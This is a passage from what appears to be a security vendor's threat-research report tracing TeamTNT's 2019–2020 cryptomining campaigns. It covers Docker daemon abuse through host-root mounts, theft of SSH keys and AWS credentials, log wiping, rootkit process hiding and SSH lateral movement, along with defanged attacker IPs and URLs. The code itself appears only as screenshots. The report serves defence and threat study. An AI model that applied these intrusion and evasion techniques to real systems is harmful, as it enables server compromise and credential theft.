&lt;p&gt;It ensures that the service is running by adding a cron job that is executed every hour, Figure 18.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig19.png" title="Figure 18: Cron job executed every hour." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 18: Cron job executed every hour.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition to setting up the mining process, the script also starts another script that: scans for Redis servers, downloads and executes a post-exploitation tool called &lt;a href="https://github.com/r3vn/punk.py"target="_blank" rel="noopener"&gt;punk.py&lt;/a&gt;, and exfiltrates SSH keys, bash history, known SSH hosts, and the host file.&lt;/p&gt;
&lt;h2&gt;Removing All Traces&lt;span class="hx:absolute hx:-mt-20" id="removing-all-traces"&gt;&lt;/span&gt;
&lt;a href="#removing-all-traces" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;cyo.sh&lt;/code&gt; script is run by the mining setup script if the watchdog process is
already running. The script is used to clean out the logs on the machine. First,
it hides the process and downloads a log cleaner &lt;a href="https://packetstormsecurity.com/files/33821/log_clean.c.html"target="_blank" rel="noopener"&gt;written in C&lt;/a&gt;. As can be seen in Figure
19, the logs for the users &lt;strong&gt;reboot&lt;/strong&gt;, &lt;strong&gt;hilde&lt;/strong&gt;, and &lt;code&gt;.r00t&lt;/code&gt; are cleared before
it uploads the bash history of the root user to the threat actor&amp;rsquo;s server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig20.png" title="Figure 19: Log cleaning for three user accounts and exfiltration of the root user&amp;#39;s bash history." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 19: Log cleaning for three user accounts and exfiltration of the root user&amp;#39;s bash history.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Folgen Sie dem Semmelbrösel&lt;span class="hx:absolute hx:-mt-20" id="folgen-sie-dem-semmelbrösel"&gt;&lt;/span&gt;
&lt;a href="#folgen-sie-dem-semmelbr%c3%b6sel" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Using information that was present in this campaign, we were able to find some
earlier activity. The &lt;strong&gt;rathole&lt;/strong&gt; binary used in this campaign was uploaded to
VirusTotal as early as October 2019. Figure 20 shows a screenshot of the
submission date.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig21.png" title="Figure 20: First submission of the rathole binary to VirusTotal." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 20: First submission of the rathole binary to VirusTotal.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A script file that was included in the archive with the miner but not used in this campaign included the functionality to download &lt;code&gt;punk.py&lt;/code&gt; from a server located at &lt;code&gt;116.62.122.90&lt;/code&gt;. This IP was found referenced in a shell script file called &lt;code&gt;ash.sh&lt;/code&gt; that was uploaded to VirusTotal in January 2020. It has very similar functionality as observed in this campaign. An out-commented line in the file references the URL &lt;strong&gt;http[:]//3[.]215[.]110[.]66/src/bioset&lt;/strong&gt;. Additionally, the script adds an SSH key and creates a user called &lt;strong&gt;hilde&lt;/strong&gt; with the password &lt;strong&gt;gard&lt;/strong&gt;, Figure 21.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig22.png" title="Figure 21: Shell script from January 2020 that creates a hilde user and adds a SSH key." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 21: Shell script from January 2020 that creates a hilde user and adds a SSH key.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Frühling 2020 (Spring 2020)&lt;span class="hx:absolute hx:-mt-20" id="der-frühling-2020-spring-2020"&gt;&lt;/span&gt;
&lt;a href="#der-fr%c3%bchling-2020-spring-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As reported by &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt; on May 6, 2020, TeamTNT targeted Docker daemon ports and
abused them to install cryptomining malware and DDoS malware. This is a shift
from their previous targeting of Redis servers and appears to be the first
documented evidence of the group targeting exposed Docker daemon ports and using
them to spread malware.&lt;/p&gt;
&lt;p&gt;As in the previous campaign, the group used several shell scripts to carry out
the attack. The first script &lt;code&gt;mxutzh.sh&lt;/code&gt; is used to bootstrap the infection by
creating a container from an Alpine image. When the container is started, it
uses the volume functionality to mount the host system&amp;rsquo;s root filesystem to
&lt;em&gt;/mnt&lt;/em&gt; inside the container. This gives the root user inside the container the
ability to modify the host machine as if it was root on the host machine. The
container is set to download and execute another script &lt;code&gt;init.sh&lt;/code&gt; which in turn
downloads and executes several shell scripts.&lt;/p&gt;
&lt;p&gt;The use of scripts that download and execute the malicious functionality evades
detection techniques because the image doesn&amp;rsquo;t contain suspicious/malicious
parts, therefore it will not be detected by static analysis tools such as image
scanners.&lt;/p&gt;
&lt;p&gt;As mentioned above the container is mounted to the filesystem of the host so
that the scripts are executed on the host. The &lt;code&gt;init.sh&lt;/code&gt; implements the
functionality for deleting other miners, installing admin tools and cryptomining
malware, implementing evasion techniques and spreading to other victims. Many of
the same techniques were used in the earlier campaigns.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig23.png" title="Figure 22: Overview of the scripts executed in this campaign (as described by Trend Micro)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 22: Overview of the scripts executed in this campaign (as described by Trend Micro).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;mxutzh.sh&lt;span class="hx:absolute hx:-mt-20" id="mxutzhsh"&gt;&lt;/span&gt;
&lt;a href="#mxutzhsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig24.png" title="Figure 23: Screenshot of mxutzh.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 23: Screenshot of mxutzh.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As can be seen in Figure 23, &lt;code&gt;mxutzh.sh&lt;/code&gt; gets an argument in the form of an IP address from the victim machine. Using the open-source tool called &lt;a href="https://github.com/robertdavidgraham/masscan"target="_blank" rel="noopener"&gt;masscan&lt;/a&gt; the script scans a predefined list of ports. The function uses &lt;strong&gt;zgrab&lt;/strong&gt; to identify if a Docker service is listening on the port. ZGrab is an open-source application scanner created by the individuals behind &lt;a href="https://censys.io/"target="_blank" rel="noopener"&gt;Censys.io&lt;/a&gt;. For all Docker services found, the script uses the exposed port to spawn a new container from the Alpine image. Using the bind method, the root directory of the victim machine is mounted to the container filesystem. A shell command to download and execute the &lt;code&gt;init.sh&lt;/code&gt; script is set to be executed using &lt;code&gt;sh&lt;/code&gt; shell as soon as the container is created.&lt;/p&gt;
&lt;h3&gt;Init.sh&lt;span class="hx:absolute hx:-mt-20" id="initsh"&gt;&lt;/span&gt;
&lt;a href="#initsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig25.png" title="Figure 24: Screenshot of init.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 24: Screenshot of init.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The init.sh script removes previous cronjobs named &amp;ldquo;COVID19&amp;rdquo; and &amp;ldquo;SARScov2&amp;rdquo; and then verifies that &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;bash&lt;/code&gt; are installed. If not, the script installs them. Next, the script downloads and executes scripts that include other functionalities for the attack.&lt;/p&gt;
&lt;p&gt;The container is created with &lt;code&gt;/bin/sh&lt;/code&gt; shell (as set in &lt;code&gt;mxutzh.sh&lt;/code&gt;) but it
seems that the group decided to use &lt;code&gt;bash&lt;/code&gt; for some scripts and &lt;code&gt;sh&lt;/code&gt; shell for
other scripts.&lt;/p&gt;
&lt;p&gt;When we examined the Uniform Resource Locator (URL)
http://45.9.148[.]123/COVID19/init.sh in VirusTotal we discovered another
&lt;code&gt;init.sh&lt;/code&gt; file, submitted on April 30, 2020, about one month before Trend Micro
released their report. At the time of the report the file had four detections.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig26.png" title="Figure 25: VirusTotal screenshot for the second init.sh file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 25: VirusTotal screenshot for the second init.sh file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The other &lt;code&gt;init.sh&lt;/code&gt; script doesn&amp;rsquo;t implement new features, however, it uses a different hosting domain: http://kaiserfranz[.]cc, the domain registered on March 10, 2020.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig27.png" title="Figure 26: Screenshot of the second init.sh file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 26: Screenshot of the second init.sh file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It is interesting to note that the group included &amp;ldquo;COVID19&amp;rdquo; as part of the URLs used to download scripts. Both &lt;code&gt;init.sh&lt;/code&gt; scripts were uploaded to VirusTotal on April 30, 2020. Around this time the COVID-19 pandemic was spreading quickly around the world and countries entered lockdowns.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig28.png" title="Figure 27: Number of daily new confirmed COVID-19 cases from March to May 2020. Source: Our World in Data" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 27: Number of daily new confirmed COVID-19 cases from March to May 2020. Source: Our World in Data&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Some threat actors took advantage of the crisis and started abusing it as a theme for phishing activity knowing that people were desperate for information related to the global pandemic. It is unclear if the use of the term &amp;ldquo;COVID-19&amp;rdquo; is part of an evasion technique since the group doesn&amp;rsquo;t make other attempts to hide its activity.&lt;/p&gt;
&lt;h3&gt;Clean.sh&lt;span class="hx:absolute hx:-mt-20" id="cleansh"&gt;&lt;/span&gt;
&lt;a href="#cleansh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig29.png" title="Figure 28: Screenshot of clean.sh script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 28: Screenshot of clean.sh script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This script is responsible for: killing processes of other cryptominers, deleting cron jobs and files used by other threat actors, removing containers that execute malware, and disabling monitoring services such as apparmor.&lt;/p&gt;
&lt;h2&gt;DNS&lt;span class="hx:absolute hx:-mt-20" id="dns"&gt;&lt;/span&gt;
&lt;a href="#dns" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig30.png" title="Figure 29: Screenshot of dns script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 29: Screenshot of dns script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The init.sh script executes another script named &lt;strong&gt;dns&lt;/strong&gt;. Based on the architecture of the victim system, a tool called &lt;strong&gt;dns3&lt;/strong&gt; (&lt;a href="https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0?utm_campaign=research-blog&amp;amp;utm_content=teamtnt-cryptomining-explosion&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;link to analysis&lt;/a&gt;) is downloaded and masqueraded as part of systemd. Based on the code relation this is Tsunami. It has 32-bit and 64-bit versions, both versions which were submitted to VirusTotal on April 19, 2020. For more information check the Tools section.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig31.png" title="Figure 30: Screenshot of dns3 in Intezer Analyze." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 30: Screenshot of dns3 in Intezer Analyze.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Connection to Other Scripts&lt;span class="hx:absolute hx:-mt-20" id="connection-to-other-scripts"&gt;&lt;/span&gt;
&lt;a href="#connection-to-other-scripts" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The IP 45.9.148[.]123 from the &lt;code&gt;init.sh&lt;/code&gt; scripts in this campaign was resolved
to &lt;strong&gt;vps.teamtnt[.]red&lt;/strong&gt; on May 2, 2020 and located in The Netherlands. Based on
VirusTotal the IP address is related to many malicious scripts, two of these
files are: &lt;code&gt;lan.redis.pwn.sh&lt;/code&gt; which was submitted on the day of the domain
resolution and the second file &lt;code&gt;minion_worker.sh&lt;/code&gt; was submitted a couple of days
later.&lt;/p&gt;
&lt;h3&gt;lan.redis.pwn.sh&lt;span class="hx:absolute hx:-mt-20" id="lanredispwnsh"&gt;&lt;/span&gt;
&lt;a href="#lanredispwnsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig32.png" title="Figure 31: Screenshot of lan.redis.pwn.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 31: Screenshot of lan.redis.pwn.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig33.png" title="Figure 32: Graph showing the scripts executed by lan.redis.pwn.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 32: Graph showing the scripts executed by lan.redis.pwn.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;minion_worker.sh&lt;span class="hx:absolute hx:-mt-20" id="minion_workersh"&gt;&lt;/span&gt;
&lt;a href="#minion_workersh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig34.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig35.png" title="Figure 33: Screenshot showing minion_worker.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 33: Screenshot showing minion_worker.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;minion-setup.sh&lt;/code&gt; script targets Redis and uses the URL &lt;code&gt;http://45.9.148[.]123/MoneroOcean/sh/init.sh&lt;/code&gt; to download the init.sh script that will be executed on the exposed Redis instance.&lt;/p&gt;
&lt;p&gt;Both scripts (minion_worker.sh and lan.redis.pwn.sh) target Redis and they use
the tools mentioned in the first captain (bioset and pnscan). Based on
similarities in the functionality and behavior of the scripts we can conclude
that these scripts were part of the campaign that targeted Redis servers.&lt;/p&gt;
&lt;h2&gt;Der Sommer 2020 (Summer 2020)&lt;span class="hx:absolute hx:-mt-20" id="der-sommer-2020-summer-2020"&gt;&lt;/span&gt;
&lt;a href="#der-sommer-2020-summer-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Throughout the Spring and Summer of 2020, TeamTNT targeted exposed Docker
containers. The exploitation techniques used during the Summer were very similar
to the techniques used during the Spring. One key addition was the stealing of
AWS credentials, as first reported by &lt;a href="https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials"target="_blank" rel="noopener"&gt;Cado Security&lt;/a&gt;. The threat actor scanned the home
directories of the users on the infected machine for the file
&lt;code&gt;~/.aws/credentials&lt;/code&gt;. If the file was found, it would be uploaded together with
the &lt;code&gt;/.aws/config&lt;/code&gt; file to a server controlled by the threat actor.&lt;/p&gt;
&lt;p&gt;The threat actor also started to publish information on their website that
appears to have been collected during their campaign. The screenshot of
TeamTNT&amp;rsquo;s website, seen in Figure 34, shows a list of &amp;ldquo;free/open&amp;rdquo; sandboxes
available on the internet. Since the earliest campaign we detected the threat
actor has been logging the external IP of the machines they have infected. It is
possible that they used this data to identify these sandboxes.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig36.png" title="Figure 34: Screenshot from TeamTNT&amp;#39;s website. The website published unprotected sandboxes (Reproduced with permission from Cado Security: Team TNT – The Crypto-Mining Worm to Steal AWS Credentials 2020)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 34: Screenshot from TeamTNT&amp;#39;s website. The website published unprotected sandboxes (Reproduced with permission from Cado Security: Team TNT – The Crypto-Mining Worm to Steal AWS Credentials 2020).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Docker Exploitation&lt;span class="hx:absolute hx:-mt-20" id="docker-exploitation"&gt;&lt;/span&gt;
&lt;a href="#docker-exploitation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the Spring activity, the shell script called &lt;code&gt;mxutzh.sh&lt;/code&gt; was used to exploit
Docker hosts. It would call a function named &lt;strong&gt;pwn&lt;/strong&gt; with three arguments. The
first of these arguments was the same first argument passed to the &lt;code&gt;mxutzh.sh&lt;/code&gt;
file when it is executed. During the Summer, this logic was changed and it
instead would get this value from a compromised server. Figure 35 shows the
changes. A similar script file was also used to target other machines on the
same network. Figure 36 shows the function in the &amp;ldquo;lan&amp;rdquo; file that instead scans
the local network.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig37.png" title="Figure 35: Pwn function called. The function uses a URL to determine the range of IPs to scan instead of it being passed onto the parent script file as an argument." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 35: Pwn function called. The function uses a URL to determine the range of IPs to scan instead of it being passed onto the parent script file as an argument.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig38.png" title="Figure 36: Pwn function used to scan other Docker servers on the same network." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 36: Pwn function used to scan other Docker servers on the same network.&lt;/figcaption&gt;
&lt;/figure&gt;
The &lt;strong&gt;pwn&lt;/strong&gt; function was also changed a bit. During the Spring, it would execute
a command to download an &lt;strong&gt;alpine&lt;/strong&gt; image. The image is started with the
instruction to download an initialization shell script. In addition to this
functionality, during the Summer campaign setup the shell script was also passed
in as base-64 encoded data in case the first method failed. Figure 37 shows part
of the &lt;strong&gt;pwn&lt;/strong&gt; function used during Summer. The threat actor also added
instructions to perform the same attack using an &lt;strong&gt;Ubuntu&lt;/strong&gt; image in addition to
the &lt;strong&gt;alpine&lt;/strong&gt; image.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig39.png" title="Figure 37: Part of the own function that is used to infect Docker servers with containers to mine Monero." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 37: Part of the own function that is used to infect Docker servers with containers to mine Monero.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Palo Alto Networks released a &lt;a href="https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/"target="_blank" rel="noopener"&gt;report in August 2020&lt;/a&gt; on a new malware that they attributed to TeamTNT. The malware, named Cetus, infected one of the researcher&amp;rsquo;s Docker honeypots. Cetus essentially has two jobs, start the miner and infect other servers running Docker. This appears to be the first custom written malware used by the threat actor.&lt;/p&gt;
&lt;p&gt;Since the beginning of their activity, TeamTNT has tried to hide their activity
on infected machines. In the early campaigns, they would mount an empty
directory over a running process&amp;rsquo;s folder in the &lt;strong&gt;procfs&lt;/strong&gt; to hide it from
outputs with &lt;strong&gt;top&lt;/strong&gt; and &lt;strong&gt;ps&lt;/strong&gt;. In the Summer campaign, they took this further
by using a Linux Kernel Module (LKM) rootkit. Figure 38 shows the installation
of the rootkit. The rootkit called Diamorphine is an open-source rootkit hosted
on &lt;a href="https://github.com/m0nad/Diamorphine"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig40.png" title="Figure 38: Setup script for Diamorphine. It installs kernel headers and build tools." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 38: Setup script for Diamorphine. It installs kernel headers and build tools.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script installs the kernel headers and tools needed to compile the LKM before it downloads the source code for the rootkit via &lt;strong&gt;git&lt;/strong&gt;. After the module has been compiled, it loads the module. The rootkit is used to hide the miner. This is performed by sending a signal &lt;strong&gt;31&lt;/strong&gt; to the process. Figure 39 shows an example of this.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig41.png" title="Figure 39: Arrow points to a command to hide the miner via a signal to the rootkit." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 39: Arrow points to a command to hide the miner via a signal to the rootkit.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;SSH Exploitation&lt;span class="hx:absolute hx:-mt-20" id="ssh-exploitation"&gt;&lt;/span&gt;
&lt;a href="#ssh-exploitation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The SSH exploitation technique was also updated during this time period. For
example, more &lt;strong&gt;SSH&lt;/strong&gt; related files are exfiltrated from the compromised host,
as seen in Figure 40.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig42.png" title="Figure 40: TeamTNT added more configuration and key files to its list to be exfiltrated from the compromised server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 40: TeamTNT added more configuration and key files to its list to be exfiltrated from the compromised server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Like many other threat actors that target Linux servers, TeamTNT also uses the &lt;code&gt;known_hosts&lt;/code&gt; file to find other machines that it may spread to. In addition to this, TeamTNT scans the networks that the machine is connected to using &lt;strong&gt;pnscan,&lt;/strong&gt; to see which other machines have port 22 listening. As can be seen in Figure 41, the result is added to the &lt;code&gt;known_hosts&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig43.png" title="Figure 41: TeamTNT scanning local networks for other machines that are listening on port 22." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 41: TeamTNT scanning local networks for other machines that are listening on port 22.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To find keys that can be used to authenticate to these machines, the threat actor looks for &lt;code&gt;id_rsa&lt;/code&gt; files in all home folders and checks for defined &lt;strong&gt;IdentityFile&lt;/strong&gt; configurations. Additionally, the bash history is checked for uses of both &lt;strong&gt;SSH&lt;/strong&gt; and &lt;strong&gt;scp&lt;/strong&gt;. The threat actor uses similar techniques to find more servers to spread to. As examples, it checks: the host file for other machines, defined &lt;strong&gt;HostName&lt;/strong&gt; in the SSH config files, bash history, items in the &lt;code&gt;known_hosts&lt;/code&gt; files, and processes connected to external IPs on port 22. Similar methods are also used to determine different user accounts that can be used to connect to the machines. It&amp;rsquo;s worth noting that since the earliest TeamTNT campaigns we uncovered, the threat actor has exfiltrated the bash history files on machines they have compromised. It is possible that they have used this data to devise these methods for gathering keys and IP addresses from other machines that can be used for lateral movements. Figure 42 shows the different commands used.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig44.png" title="Figure 42: List of commands used by TeamTNT to find SSH keys, machines and user accounts that can be used to infect other machines." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 42: List of commands used by TeamTNT to find SSH keys, machines and user accounts that can be used to infect other machines.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The collected data is added to &amp;ldquo;master&amp;rdquo; lists that the script enumerates through. Each username and key is used for all discovered servers. If a successful login is achieved, a command is executed to download a setup shell script on the machine. This logic can be seen in Figure 43.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig45.png" title="Figure 43: For each enumerated host, the script tries to log in with the usernames and keys. If successful, the setup script is downloaded and executed on the machine." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 43: For each enumerated host, the script tries to log in with the usernames and keys. If successful, the setup script is downloaded and executed on the machine.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition to spreading to other machines the following files are downloaded:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;docker-update (XMRig)&lt;/li&gt;
&lt;li&gt;tshd (&lt;a href="https://github.com/creaktive/tsh"target="_blank" rel="noopener"&gt;Tiny SHell&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;kube (Tsunami)&lt;/li&gt;
&lt;li&gt;bioset (Rathole)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Docker Containers&lt;span class="hx:absolute hx:-mt-20" id="docker-containers"&gt;&lt;/span&gt;
&lt;a href="#docker-containers" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In addition to downloading &amp;ldquo;base&amp;rdquo; images from Docker Hub to set up the attack,
&lt;a href="https://blog.aquasec.com/container-security-tnt-container-attack"target="_blank" rel="noopener"&gt;Aqua Security&lt;/a&gt; released research on TeamTNT&amp;rsquo;s use of custom images. The images uploaded by
the user account &lt;strong&gt;hildeteamtnt&lt;/strong&gt; to the hub was categorized into two
categories: &amp;ldquo;Simple and straightforward&amp;rdquo; images used for cryptomining and
&amp;ldquo;Sophisticated&amp;rdquo; used for container escaping. The sophisticated images used the
&lt;strong&gt;Docker Escape Tool&lt;/strong&gt;, an open-source tool hosted on &lt;a href="https://github.com/PercussiveElbow/docker-escape-tool"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. Much of the
techniques and tools used were very similar to the threat actor&amp;rsquo;s previous
activity.&lt;/p&gt;
&lt;h2&gt;Der Herbst 2020 (Fall 2020)&lt;span class="hx:absolute hx:-mt-20" id="der-herbst-2020-fall-2020"&gt;&lt;/span&gt;
&lt;a href="#der-herbst-2020-fall-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;On September 8, 2020 Intezer discovered that TeamTNT abused a legitimate cloud
monitoring tool called Weave Scope. The tool gives the user full access to their
cloud environment and is integrated with Docker, Kubernetes, the Distributed
Cloud Operating System (DC/OS), and AWS Elastic Compute Cloud (ECS).&lt;/p&gt;
&lt;p&gt;Weave Scope is a powerful utility for working with microservices-based
applications, as it has many features including: detailed information about each
container and processes running in them, memory usage of each container, links
and connections between containers, and the ability to start, stop, and open
interactive shells in any of these containers.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig46.png" title="Figure 44: Screenshot of the Weave Scope dashboard." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 44: Screenshot of the Weave Scope dashboard.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This was the first time TeamTNT was found using a legitimate tool for the
purpose of gaining control over the victim&amp;rsquo;s infrastructure. By installing a
legitimate tool such as Weave Scope the attackers gained all the benefits as if
they had installed a backdoor on the server, with significantly less effort and
without needing to use malware.&lt;/p&gt;
&lt;p&gt;Weave Scope is an open-source project and its installation is relatively easy.
The attackers created a container based on an Ubuntu image and used the mount
